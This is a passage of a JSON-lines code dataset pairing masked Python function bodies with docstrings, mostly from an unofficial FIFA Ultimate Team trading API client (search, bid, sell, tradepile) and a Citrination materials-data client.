object.\n\n        :params method: Rest method.\n        :params url: Url.", "id": "f3437:c0:m3"}
{"signature": "def __sendToPile__(self, pile, trade_id=None, item_id=None):", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>if not isinstance(item_id, (list, tuple)):<EOL><INDENT>item_id = (item_id,)<EOL><DEDENT>data = {\"<STR_LIT>\": [{'<STR_LIT>': pile, '<STR_LIT:id>': str(i)} for i in item_id]}<EOL>rc = self.__request__(method, url, data=json.dumps(data))<EOL>if rc['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:success>']:<EOL><INDENT>self.logger.info(\"<STR_LIT>\".format(trade_id, item_id, pile))<EOL><DEDENT>else:<EOL><INDENT>self.logger.error(\"<STR_LIT>\".format(trade_id, item_id, pile,<EOL>rc['<STR_LIT>'][<NUM_LIT:0>][<EOL>'<STR_LIT>']))<EOL><DEDENT>return rc['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:success>']<EOL>", "docstring": "Send to pile.\n\n        :params trade_id: (optional?) Trade id.\n        :params item_id: Iteam id.", "id": "f3437:c0:m4"}
{"signature": "def logout(self, save=True):", "body": "<EOL>self.r.delete('<STR_LIT>' % self.fut_host, timeout=self.timeout)<EOL>if save:<EOL><INDENT>self.saveSession()<EOL><DEDENT>return True<EOL>", "docstring": "Log out nicely (like clicking on logout button).\n\n        :params save: False if You don't want to save cookies.", "id": "f3437:c0:m5"}
{"signature": "@property<EOL><INDENT>def players(self):<DEDENT>", "body": "if not self._players:<EOL><INDENT>self._players = players()<EOL><DEDENT>return self._players<EOL>", "docstring": "Return all players in dict {id: c, f, l, n, r}.", "id": "f3437:c0:m6"}
{"signature": "@property<EOL><INDENT>def playstyles(self, year=<NUM_LIT>):<DEDENT>", "body": "if not self._playstyles:<EOL><INDENT>self._playstyles = playstyles()<EOL><DEDENT>return self._playstyles<EOL>", "docstring": "Return all playstyles in dict {id0: playstyle0, id1: playstyle1}.\n\n        :params year: Year.", "id": "f3437:c0:m7"}
{"signature": "@property<EOL><INDENT>def nations(self):<DEDENT>", "body": "if not self._nations:<EOL><INDENT>self._nations = nations()<EOL><DEDENT>return self._nations<EOL>", "docstring": "Return all nations in dict {id0: nation0, id1: nation1}.\n\n        :params year: Year.", "id": "f3437:c0:m8"}
{"signature": "@property<EOL><INDENT>def leagues(self, year=<NUM_LIT>):<DEDENT>", "body": "if year not in self._leagues:<EOL><INDENT>self._leagues[year] = leagues(year)<EOL><DEDENT>return self._leagues[year]<EOL>", "docstring": "Return all leagues in dict {id0: league0, id1: league1}.\n\n        :params year: Year.", "id": "f3437:c0:m9"}
{"signature": "@property<EOL><INDENT>def teams(self, year=<NUM_LIT>):<DEDENT>", "body": "if year not in self._teams:<EOL><INDENT>self._teams[year] = teams(year)<EOL><DEDENT>return self._teams[year]<EOL>", "docstring": "Return all teams in dict {id0: team0, id1: team1}.\n\n        :params year: Year.", "id": "f3437:c0:m10"}
{"signature": "@property<EOL><INDENT>def stadiums(self):<DEDENT>", "body": "if not self._stadiums:<EOL><INDENT>self._stadiums = stadiums()<EOL><DEDENT>return self._stadiums<EOL>", "docstring": "Return all stadiums in dict {id0: stadium0, id1: stadium1}.\n\n        :params year: Year.", "id": "f3437:c0:m11"}
{"signature": "def saveSession(self):", "body": "if self.cookies_file:<EOL><INDENT>self.r.cookies.save(ignore_discard=True)<EOL>with open(self.token_file, '<STR_LIT:w>') as f:<EOL><INDENT>f.write('<STR_LIT>' % (self.token_type, self.access_token))<EOL><DEDENT><DEDENT>", "docstring": "Save cookies/session.", "id": "f3437:c0:m12"}
{"signature": "def baseId(self, *args, **kwargs):", "body": "return baseId(*args, **kwargs)<EOL>", "docstring": "Calculate base id and version from a resource id.", "id": "f3437:c0:m13"}
{"signature": "def cardInfo(self, resource_id):", "body": "<EOL>base_id = baseId(resource_id)<EOL>if base_id in self.players:<EOL><INDENT>return self.players[base_id]<EOL><DEDENT>else:  <EOL><INDENT>url = '<STR_LIT>'.format(card_info_url, base_id)<EOL>return requests.get(url, timeout=self.timeout).json()<EOL><DEDENT>", "docstring": "Return card info.\n\n        :params resource_id: Resource id.", "id": "f3437:c0:m14"}
{"signature": "def searchDefinition(self, asset_id, start=<NUM_LIT:0>, page_size=itemsPerPage['<STR_LIT>'], count=None):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>if count:  <EOL><INDENT>page_size = count<EOL><DEDENT>base_id = baseId(asset_id)<EOL>if base_id not in self.players:<EOL><INDENT>raise FutError(reason='<STR_LIT>')<EOL><DEDENT>params = {<EOL>'<STR_LIT>': base_id,<EOL>'<STR_LIT:start>': start,<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT:count>': page_size<EOL>}<EOL>rc = self.__request__(method, url, params=params)<EOL>return [itemParse({'<STR_LIT>': i}) for i in rc['<STR_LIT>']]<EOL>", "docstring": "Return variations of the given asset id, e.g. IF cards.\n\n        :param asset_id: Asset id / Definition id.\n        :param start: (optional) Start page.\n        :param count: (optional) Number of definitions you want to request.", "id": "f3437:c0:m15"}
{"signature": "def search(self, ctype, level=None, category=None, assetId=None, defId=None,<EOL>min_price=None, max_price=None, min_buy=None, max_buy=None,<EOL>league=None, club=None, position=None, zone=None, nationality=None,<EOL>rare=False, playStyle=None, start=<NUM_LIT:0>, page_size=itemsPerPage['<STR_LIT>'],<EOL>fast=False):", "body": "<EOL>method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>if start == <NUM_LIT:0>:<EOL><INDENT>events = [self.pin.event('<STR_LIT>', '<STR_LIT>'), self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events, fast=fast)<EOL><DEDENT>params = {<EOL>'<STR_LIT:start>': start,<EOL>'<STR_LIT>': page_size,<EOL>'<STR_LIT:type>': ctype,  <EOL>}<EOL>if level:<EOL><INDENT>params['<STR_LIT>'] = level<EOL><DEDENT>if category:<EOL><INDENT>params['<STR_LIT>'] = category<EOL><DEDENT>if assetId:<EOL><INDENT>params['<STR_LIT>'] = assetId<EOL><DEDENT>if defId:<EOL><INDENT>params['<STR_LIT>'] = defId<EOL><DEDENT>if min_price:<EOL><INDENT>params['<STR_LIT>'] = min_price<EOL><DEDENT>if max_price:<EOL><INDENT>params['<STR_LIT>'] = max_price<EOL><DEDENT>if min_buy:<EOL><INDENT>params['<STR_LIT>'] = min_buy<EOL><DEDENT>if max_buy:<EOL><INDENT>params['<STR_LIT>'] = max_buy<EOL><DEDENT>if league:<EOL><INDENT>params['<STR_LIT>'] = league<EOL><DEDENT>if club:<EOL><INDENT>params['<STR_LIT>'] = club<EOL><DEDENT>if position:<EOL><INDENT>params['<STR_LIT>'] = position<EOL><DEDENT>if zone:<EOL><INDENT>params['<STR_LIT>'] = zone<EOL><DEDENT>if nationality:<EOL><INDENT>params['<STR_LIT>'] = nationality<EOL><DEDENT>if rare:<EOL><INDENT>params['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if playStyle:<EOL><INDENT>params['<STR_LIT>'] = playStyle<EOL><DEDENT>rc = self.__request__(method, url, params=params, fast=fast)<EOL>if start == <NUM_LIT:0>:<EOL><INDENT>events = [self.pin.event('<STR_LIT>', '<STR_LIT>'), self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events, fast=fast)<EOL><DEDENT>return [itemParse(i) for i in rc.get('<STR_LIT>', ())]<EOL>", "docstring": "Prepare search request, send and return parsed data as a dict.\n\n        :param ctype: [development / ? / ?] Card type.\n        :param level: (optional) [?/?/gold] Card level.\n        :param category: (optional) [fitness/?/?] Card category.\n        :param assetId: (optional) Asset id.\n        :param defId: (optional) Definition id.\n        :param min_price: (optional) Minimal price.\n        :param max_price: (optional) Maximum price.\n        :param min_buy: (optional) Minimal buy now price.\n        :param max_buy: (optional) Maximum buy now price.\n        :param league: (optional) League id.\n        :param club: (optional) Club id.\n        :param position: (optional) Position.\n        :param nationality: (optional) Nation id.\n        :param rare: (optional) [boolean] True for searching special cards.\n        :param playStyle: (optional) Play style.\n        :param start: (optional) Start page sent to server so it supposed to be 12/15, 24/30 etc. (default platform page_size*n)\n        :param page_size: (optional) Page size (items per page).", "id": "f3437:c0:m16"}
{"signature": "def searchAuctions(self, *args, **kwargs):", "body": "return self.search(*args, **kwargs)<EOL>", "docstring": "Alias for search method, just to keep compatibility.", "id": "f3437:c0:m17"}
{"signature": "def bid(self, trade_id, bid, fast=False):", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>' % trade_id<EOL>if not fast:<EOL><INDENT>rc = self.tradeStatus(trade_id)[<NUM_LIT:0>]<EOL>if rc['<STR_LIT>'] >= bid or self.credits < bid:<EOL><INDENT>return False  <EOL><DEDENT><DEDENT>data = {'<STR_LIT>': bid}<EOL>try:<EOL><INDENT>rc = self.__request__(method, url, data=json.dumps(data), params={'<STR_LIT>': self.sku_b}, fast=fast)[<EOL>'<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>except PermissionDenied:  <EOL><INDENT>return False<EOL><DEDENT>if rc['<STR_LIT>'] == '<STR_LIT>' or (<EOL>rc['<STR_LIT>'] == '<STR_LIT>' and rc['<STR_LIT>'] == '<STR_LIT>'):  <EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Make a bid.\n\n        :params trade_id: Trade id.\n        :params bid: Amount of credits You want to spend.\n        :params fast: True for fastest bidding (skips trade status & credits check).", "id": "f3437:c0:m18"}
{"signature": "def club(self, sort='<STR_LIT>', ctype='<STR_LIT>', defId='<STR_LIT>', start=<NUM_LIT:0>, count=None, page_size=itemsPerPage['<STR_LIT>'],<EOL>level=None, category=None, assetId=None, league=None, club=None,<EOL>position=None, zone=None, nationality=None, rare=False, playStyle=None):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>if count:  <EOL><INDENT>page_size = count<EOL><DEDENT>params = {'<STR_LIT>': sort, '<STR_LIT:type>': ctype, '<STR_LIT>': defId, '<STR_LIT:start>': start, '<STR_LIT:count>': page_size}<EOL>if level:<EOL><INDENT>params['<STR_LIT>'] = level<EOL><DEDENT>if category:<EOL><INDENT>params['<STR_LIT>'] = category<EOL><DEDENT>if assetId:<EOL><INDENT>params['<STR_LIT>'] = assetId<EOL><DEDENT>if league:<EOL><INDENT>params['<STR_LIT>'] = league<EOL><DEDENT>if club:<EOL><INDENT>params['<STR_LIT>'] = club<EOL><DEDENT>if position:<EOL><INDENT>params['<STR_LIT>'] = position<EOL><DEDENT>if zone:<EOL><INDENT>params['<STR_LIT>'] = zone<EOL><DEDENT>if nationality:<EOL><INDENT>params['<STR_LIT>'] = nationality<EOL><DEDENT>if rare:<EOL><INDENT>params['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if playStyle:<EOL><INDENT>params['<STR_LIT>'] = playStyle<EOL><DEDENT>rc = self.__request__(method, url, params=params)<EOL>if start == <NUM_LIT:0>:<EOL><INDENT>if ctype == '<STR_LIT>':<EOL><INDENT>pgid = '<STR_LIT>'<EOL><DEDENT>elif ctype == '<STR_LIT>':<EOL><INDENT>pgid = '<STR_LIT>'<EOL><DEDENT>elif ctype in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>pgid = '<STR_LIT>'<EOL><DEDENT>events = [self.pin.event('<STR_LIT>', '<STR_LIT>'), self.pin.event('<STR_LIT>', pgid)]<EOL>if rc['<STR_LIT>']:<EOL><INDENT>events.append(self.pin.event('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>self.pin.send(events)<EOL><DEDENT>return [itemParse({'<STR_LIT>': i}) for i in rc['<STR_LIT>']]<EOL>", "docstring": "Return items in your club, excluding consumables.\n\n        :param ctype: [development / ? / ?] Card type.\n        :param level: (optional) [?/?/gold] Card level.\n        :param category: (optional) [fitness/?/?] Card category.\n        :param assetId: (optional) Asset id.\n        :param defId: (optional) Definition id.\n        :param min_price: (optional) Minimal price.\n        :param max_price: (optional) Maximum price.\n        :param min_buy: (optional) Minimal buy now price.\n        :param max_buy: (optional) Maximum buy now price.\n        :param league: (optional) League id.\n        :param club: (optional) Club id.\n        :param position: (optional) Position.\n        :param nationality: (optional) Nation id.\n        :param rare: (optional) [boolean] True for searching special cards.\n        :param playStyle: (optional) Play style.\n        :param start: (optional) Start page sent to server so it supposed to be 12/15, 24/30 etc. (default platform page_size*n)\n        :param page_size: (optional) Page size (items per page)", "id": "f3437:c0:m19"}
{"signature": "def clubStaff(self):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>rc = self.__request__(method, url)<EOL>return rc<EOL>", "docstring": "Return staff in your club.", "id": "f3437:c0:m20"}
{"signature": "def clubConsumables(self, fast=False):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>rc = self.__request__(method, url)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events, fast=fast)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events, fast=fast)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events, fast=fast)<EOL>return [itemParse(i) for i in rc.get('<STR_LIT>', ())]<EOL>", "docstring": "Return all consumables from club.", "id": "f3437:c0:m21"}
{"signature": "def squad(self, squad_id=<NUM_LIT:0>, persona_id=None):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>' % (squad_id, persona_id or self.persona_id)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events)<EOL>rc = self.__request__(method, url)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>'), self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events)<EOL>return [itemParse(i) for i in rc.get('<STR_LIT>', ())]<EOL>", "docstring": "Return a squad.\n\n        :params squad_id: Squad id.", "id": "f3437:c0:m22"}
{"signature": "def tradeStatus(self, trade_id):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>if not isinstance(trade_id, (list, tuple)):<EOL><INDENT>trade_id = (trade_id,)<EOL><DEDENT>trade_id = (str(i) for i in trade_id)<EOL>params = {'<STR_LIT>': '<STR_LIT:U+002C>'.join(trade_id)}  <EOL>rc = self.__request__(method, url, params=params)<EOL>return [itemParse(i, full=False) for i in rc['<STR_LIT>']]<EOL>", "docstring": "Return trade status.\n\n        :params trade_id: Trade id.", "id": "f3437:c0:m23"}
{"signature": "def tradepile(self):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>rc = self.__request__(method, url)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>'), self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>if rc.get('<STR_LIT>'):<EOL><INDENT>events.append(self.pin.event('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>self.pin.send(events)<EOL>return [itemParse(i) for i in rc.get('<STR_LIT>', ())]<EOL>", "docstring": "Return items in tradepile.", "id": "f3437:c0:m24"}
{"signature": "def watchlist(self):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>rc = self.__request__(method, url)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>'), self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>if rc.get('<STR_LIT>'):<EOL><INDENT>events.append(self.pin.event('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>self.pin.send(events)<EOL>return [itemParse(i) for i in rc.get('<STR_LIT>', ())]<EOL>", "docstring": "Return items in watchlist.", "id": "f3437:c0:m25"}
{"signature": "def unassigned(self):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>rc = self.__request__(method, url)<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>if rc.get('<STR_LIT>'):<EOL><INDENT>events.append(self.pin.event('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>self.pin.send(events)<EOL>return [itemParse({'<STR_LIT>': i}) for i in rc.get('<STR_LIT>', ())]<EOL>", "docstring": "Return Unassigned items (i.e. buyNow items).", "id": "f3437:c0:m26"}
{"signature": "def sell(self, item_id, bid, buy_now, duration=<NUM_LIT>, fast=False):", "body": "method = '<STR_LIT:POST>'<EOL>url = '<STR_LIT>'<EOL>data = {'<STR_LIT>': buy_now, '<STR_LIT>': bid, '<STR_LIT>': duration, '<STR_LIT>': {'<STR_LIT:id>': item_id}}<EOL>rc = self.__request__(method, url, data=json.dumps(data), params={'<STR_LIT>': self.sku_b})<EOL>if not fast:  <EOL><INDENT>self.tradeStatus(rc['<STR_LIT:id>'])<EOL><DEDENT>return rc['<STR_LIT:id>']<EOL>", "docstring": "Start auction. Returns trade_id.\n\n        :params item_id: Item id.\n        :params bid: Stard bid.\n        :params buy_now: Buy now price.\n        :params duration: Auction duration in seconds (Default: 3600).", "id": "f3437:c0:m27"}
{"signature": "def quickSell(self, item_id):", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>if not isinstance(item_id, (list, tuple)):<EOL><INDENT>item_id = (item_id,)<EOL><DEDENT>item_id = (str(i) for i in item_id)<EOL>params = {'<STR_LIT>': '<STR_LIT:U+002C>'.join(item_id)}<EOL>self.__request__(method, url, params=params)  <EOL>return True<EOL>", "docstring": "Quick sell.\n\n        :params item_id: Item id.", "id": "f3437:c0:m28"}
{"signature": "def watchlistDelete(self, trade_id):", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>if not isinstance(trade_id, (list, tuple)):<EOL><INDENT>trade_id = (trade_id,)<EOL><DEDENT>trade_id = (str(i) for i in trade_id)<EOL>params = {'<STR_LIT>': '<STR_LIT:U+002C>'.join(trade_id)}<EOL>self.__request__(method, url, params=params)  <EOL>return True<EOL>", "docstring": "Remove cards from watchlist.\n\n        :params trade_id: Trade id.", "id": "f3437:c0:m29"}
{"signature": "def tradepileDelete(self, trade_id):  ", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>' % trade_id<EOL>self.__request__(method, url)  <EOL>return True<EOL>", "docstring": "Remove card from tradepile.\n\n        :params trade_id: Trade id.", "id": "f3437:c0:m30"}
{"signature": "def tradepileClear(self):", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>self.__request__(method, url)<EOL>", "docstring": "Removes all sold items from tradepile.", "id": "f3437:c0:m31"}
{"signature": "def sendToTradepile(self, item_id, safe=True):", "body": "if safe and len(<EOL>self.tradepile()) >= self.tradepile_size:  <EOL><INDENT>return False<EOL><DEDENT>return self.__sendToPile__('<STR_LIT>', item_id=item_id)<EOL>", "docstring": "Send to tradepile (alias for __sendToPile__).\n\n        :params item_id: Item id.\n        :params safe: (optional) False to disable tradepile free space check.", "id": "f3437:c0:m32"}
{"signature": "def sendToClub(self, item_id):", "body": "return self.__sendToPile__('<STR_LIT>', item_id=item_id)<EOL>", "docstring": "Send to club (alias for __sendToPile__).\n\n        :params item_id: Item id.", "id": "f3437:c0:m33"}
{"signature": "def sendToWatchlist(self, trade_id):", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>data = {'<STR_LIT>': [{'<STR_LIT:id>': trade_id}]}<EOL>return self.__request__(method, url, data=json.dumps(data))<EOL>", "docstring": "Send to watchlist.\n\n        :params trade_id: Trade id.", "id": "f3437:c0:m34"}
{"signature": "def sendToSbs(self, challenge_id, item_id):", "body": "<EOL>method = '<STR_LIT>'<EOL>url = '<STR_LIT>' % challenge_id<EOL>squad = self.sbsSquad(challenge_id)<EOL>players = []<EOL>moved = False<EOL>n = <NUM_LIT:0><EOL>for i in squad['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>if i['<STR_LIT>']['<STR_LIT:id>'] == item_id:  <EOL><INDENT>return False<EOL><DEDENT>if i['<STR_LIT>']['<STR_LIT:id>'] == <NUM_LIT:0> and not moved:<EOL><INDENT>i['<STR_LIT>']['<STR_LIT:id>'] = item_id<EOL>moved = True<EOL><DEDENT>players.append({\"<STR_LIT:index>\": n,<EOL>\"<STR_LIT>\": {\"<STR_LIT:id>\": i['<STR_LIT>']['<STR_LIT:id>'],<EOL>\"<STR_LIT>\": False}})<EOL>n += <NUM_LIT:1><EOL><DEDENT>data = {'<STR_LIT>': players}<EOL>if not moved:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>self.__request__(method, url, data=json.dumps(data))<EOL>return True<EOL><DEDENT>", "docstring": "Send card FROM CLUB to first free slot in sbs squad.", "id": "f3437:c0:m35"}
{"signature": "def relist(self):", "body": "method = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>return self.__request__(method, url)<EOL>", "docstring": "ReList all cards in tradepile. EA method - might(?) change prices.", "id": "f3437:c0:m36"}
{"signature": "def applyConsumable(self, item_id, resource_id):", "body": "<EOL>method = '<STR_LIT:POST>'<EOL>url = '<STR_LIT>' % resource_id<EOL>data = {'<STR_LIT>': [{'<STR_LIT:id>': item_id}]}<EOL>self.__request__(method, url, data=json.dumps(data))<EOL>", "docstring": "Apply consumable on player.\n\n        :params item_id: Item id of player.\n        :params resource_id: Resource id of consumable.", "id": "f3437:c0:m37"}
{"signature": "def keepalive(self):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>return self.__request__(method, url)['<STR_LIT>']<EOL>", "docstring": "Refresh credit amount to let know that we're still online. Returns credit amount.", "id": "f3437:c0:m38"}
{"signature": "def pileSize(self):", "body": "rc = self._usermassinfo['<STR_LIT>']['<STR_LIT>']<EOL>return {'<STR_LIT>': rc[<NUM_LIT:0>]['<STR_LIT:value>'],<EOL>'<STR_LIT>': rc[<NUM_LIT:2>]['<STR_LIT:value>']}<EOL>", "docstring": "Return size of tradepile and watchlist.", "id": "f3437:c0:m39"}
{"signature": "def messages(self):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>rc = self.__request__(method, url)<EOL>return rc['<STR_LIT>']<EOL>", "docstring": "Return active messages.", "id": "f3437:c0:m40"}
{"signature": "def packs(self):", "body": "method = '<STR_LIT:GET>'<EOL>url = '<STR_LIT>'<EOL>params = {'<STR_LIT>': True}<EOL>return self.__request__(method, url, params=params)<EOL>", "docstring": "List all (currently?) available packs.", "id": "f3437:c0:m41"}
{"signature": "def __init__(self, api_key=None, site=None, suppress_warnings=False, proxies=None):", "body": "api_key, site = get_preferred_credentials(api_key, site)<EOL>self.models = ModelsClient(api_key, site, suppress_warnings=suppress_warnings, proxies=proxies)<EOL>self.search = SearchClient(api_key, site, suppress_warnings=suppress_warnings, proxies=proxies)<EOL>self.data = DataClient(api_key, site, suppress_warnings=suppress_warnings, proxies=proxies)<EOL>self.data_views = DataViewsClient(api_key, site, suppress_warnings=suppress_warnings, proxies=proxies)<EOL>", "docstring": "Constructor.\n\n:param api_key: Your API key for Citrination\n:type api_key: str\n:param site: The domain name of your Citrination deployment\n    (the default is https://citrination.com)\n:type site: str\n:param suppress_warnings: A flag allowing you to suppress warning\n    statements guarding against misuse printed to stdout.\n:type suppress_warnings: bool\n:param proxies: proxies to use when making HTTP requests. E.g.,\n        proxies = {\n          'http': 'http://10.10.1.10:3128',\n          'https': 'http://10.10.1.10:1080',\n        }\n:type proxies: dict(string, string)", "id": "f3444:c0:m0"}
{"signature": "def __init__(self, name, role, balance_element, group_by_key=False, units=None, basis=<NUM_LIT>):", "body": "super(AlloyCompositionColumn, self).__init__(name=name,<EOL>role=role,<EOL>group_by_key=group_by_key,<EOL>units=units)<EOL>self._balance_element = balance_element<EOL>self._basis = basis<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column\n:type name: str\n:param role: The role the column will play in machine learning:\n               \"Input\"\n               \"Output\"\n               \"Latent Variable\"\n               \"Ignore\"\n:type role: str\n:param group_by_key: Whether or not this column should be used for\n    grouping during cross validation\n:type group_by_key: bool\n:param units: Optionally, the units for the column\n:type units: str\n:param balance_element: The element making up the balance in the\n    composition\n:type balance_element: str\n:param basis: The total amount of composition when deciding how to fill\n    the balance\n:type basis: float", "id": "f3452:c0:m0"}
{"signature": "def __init__(self, name, role, group_by_key=False, units=None, categories=[]):", "body": "super(CategoricalColumn, self).__init__(name=name,<EOL>role=role,<EOL>group_by_key=group_by_key,<EOL>units=units)<EOL>self.categories = categories<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column\n:type name: str\n:param role: The role the column will play in machine learning:\n               \"Input\"\n               \"Output\"\n               \"Latent Variable\"\n               \"Ignore\"\n:type role: str\n:param group_by_key: Whether or not this column should be used for\n    grouping during cross validation\n:type group_by_key: bool\n:param units: Optionally, the units for the column\n:type units: str\n:param categories: An array of strings that are valid values for data\n    in this column\n:type categories: list of str", "id": "f3454:c0:m0"}
{"signature": "def __init__(self, name, role, group_by_key=False, units=None):", "body": "self._name = name<EOL>self._units = units<EOL>self.role = role<EOL>self._type = self.__class__.TYPE<EOL>self._group_by_key = group_by_key<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column\n:type name: str\n:param role: The role the column will play in machine learning:\n               \"Input\"\n               \"Output\"\n               \"Latent Variable\"\n               \"Ignore\"\n:type role: str\n:param group_by_key: Whether or not this column should be used for\n    grouping during cross validation\n:type group_by_key: bool\n:param units: Optionally, the units for the column\n:type units: str", "id": "f3455:c0:m0"}
{"signature": "def to_dict(self):", "body": "return {<EOL>\"<STR_LIT:type>\": self.type,<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": self.group_by_key,<EOL>\"<STR_LIT>\": self.role,<EOL>\"<STR_LIT>\": self.units,<EOL>\"<STR_LIT>\": self.build_options()<EOL>}<EOL>", "docstring": "Converts the column to a dictionary representation accepted\nby the Citrination server.\n\n:return: Dictionary with basic options, plus any column type specific\n    options held under the \"options\" key\n:rtype: dict", "id": "f3455:c0:m1"}
{"signature": "def build_options(self):", "body": "return None<EOL>", "docstring": "Default value for optional column configuration. Only child\nclasses will have non-None values for this field. Value\ndepends on child class implementation.\n\nNote: Some child classes do not require any extra options\n(e.g. OrganicChemicalFormula), in that case, this implementation\nwill be invoked and no options will be present in the dictionary.\n\n:return: Options dictionary, or None if not implemented in child\n:rtype: dict or None", "id": "f3455:c0:m2"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "return self._type<EOL>", "docstring": "Returns the type of the column. This value is\nread only because the valid value is defined by the\ncolumn type and is set internally.", "id": "f3455:c0:m15"}
{"signature": "def _validate_role(self, role):", "body": "valid_roles = [\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:input>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:ignore>\"]<EOL>if role not in valid_roles:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\".format(valid_roles))<EOL><DEDENT>", "docstring": "Validates that the role parameter has a valid value.\n\n:param role: Name of the column's role\n:type role: str", "id": "f3455:c0:m16"}
{"signature": "def __init__(self, name, role, group_by_key=False, units=None, length=None):", "body": "super(VectorColumn, self).__init__(name=name,<EOL>role=role,<EOL>group_by_key=group_by_key,<EOL>units=units)<EOL>self.length = length<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column\n:type name: str\n:param role: The role the column will play in machine learning:\n               \"Input\"\n               \"Output\"\n               \"Latent Variable\"\n               \"Ignore\"\n:type role: str\n:param group_by_key: Whether or not this column should be used for\n    grouping during cross validation\n:type group_by_key: bool\n:param units: Optionally, the units for this column\n:type units: str\n:param length: The length of vectors in this column\n:type length: int", "id": "f3457:c0:m0"}
{"signature": "def __init__(self, name, role, group_by_key=False, units=None, lower_bound=None, upper_bound=None):", "body": "super(RealColumn, self).__init__(name=name,<EOL>role=role,<EOL>group_by_key=group_by_key,<EOL>units=units)<EOL>self._lower_bound = None<EOL>self._upper_bound = None<EOL>self.lower_bound = lower_bound<EOL>self.upper_bound = upper_bound<EOL>", "docstring": "Constructor.\n\n:param name: The name of the column\n:type name: str\n:param role: The role the column will play in machine learning:\n               \"Input\"\n               \"Output\"\n               \"Latent Variable\"\n               \"Ignore\"\n:type role: str\n:param group_by_key: Whether or not this column should be used for\n    grouping during cross validation\n:type group_by_key: bool\n:param units: Optionally, the units for the column\n:type units: str\n:param lower_bound: The lower bound for valid values for this column\n:type lower_bound: float\n:param upper_bound: The upper bound for valid values for this column\n:type upper_bound: float", "id": "f3461:c0:m0"}
{"signature": "def _assert_prediction_values(prediction):", "body": "egap = '<STR_LIT>'<EOL>voltage = '<STR_LIT>'<EOL>assert prediction.get_value('<STR_LIT>') is not None, \"<STR_LIT>\"<EOL>assert prediction.get_value(egap) is not None, \"<STR_LIT>\"<EOL>assert prediction.get_value(voltage) is not None, \"<STR_LIT>\"<EOL>assert _almost_equal(prediction.get_value('<STR_LIT>').value, <NUM_LIT>,<EOL><NUM_LIT>), \"<STR_LIT>\"<EOL>assert _almost_equal(prediction.get_value('<STR_LIT>').loss, <NUM_LIT>,<EOL><NUM_LIT>), \"<STR_LIT>\"<EOL>assert _almost_equal(prediction.get_value(egap).value, <NUM_LIT>,<EOL><NUM_LIT>), \"<STR_LIT>\"<EOL>assert _almost_equal(prediction.get_value(egap).loss, <NUM_LIT>,<EOL><NUM_LIT>), \"<STR_LIT>\"<EOL>assert _almost_equal(prediction.get_value(voltage).value, <NUM_LIT:1.0>,<EOL><NUM_LIT>), \"<STR_LIT>\"<EOL>assert _almost_equal(prediction.get_value(voltage).loss, <NUM_LIT>,<EOL><NUM_LIT>), \"<STR_LIT>\"<EOL>", 